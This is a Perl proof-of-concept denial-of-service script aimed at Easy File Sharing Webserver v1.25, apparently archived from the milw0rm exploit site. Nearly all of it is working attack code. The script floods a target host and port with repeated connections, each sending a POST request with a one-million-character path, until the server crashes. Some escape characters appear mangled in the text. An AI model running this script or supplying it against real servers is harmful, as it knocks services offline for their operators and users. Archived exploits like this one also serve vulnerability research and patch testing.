#####################################################
# Easy File Sharing Webserver v1.25 Denial Of Service
# Proof Of Concept Code By GulfTech Security Research
#####################################################
# Easy File Sharing Webserver v1.25 will consume 99%
# of CPU usage until it crashes when sent large req's
#####################################################
use IO::Socket;
print "=====================================================n".
" Easy File Sharing Webserver v1.25 Denial Of Service n".
"=====================================================n";
unless (@ARGV > 1) { die("usage: efswsdos.pl host port"); }
my $remote_host = $ARGV[0];
my $remote_port = $ARGV[1];
my $done = "15121512";
my $buff = "A" x 1000000;
my $post = "POST /".$buff." HTTP/1.0 ".$done;
print "
DoS'ing Server $remote_host Press ctrl+c to stopn";
while ($post) {
for (my $i=1; $i<10; $i++) {
my $i = IO::Socket::INET->new( Proto => "tcp",
PeerAddr => $remote_host,
PeerPort => $remote_port,
Timeout => '10000',
Type => SOCK_STREAM,
) || die("
Server Is Dead!");
print $i $post;
$i->autoflush(1);
}
}
close $i;
# milw0rm.com [2004-08-27]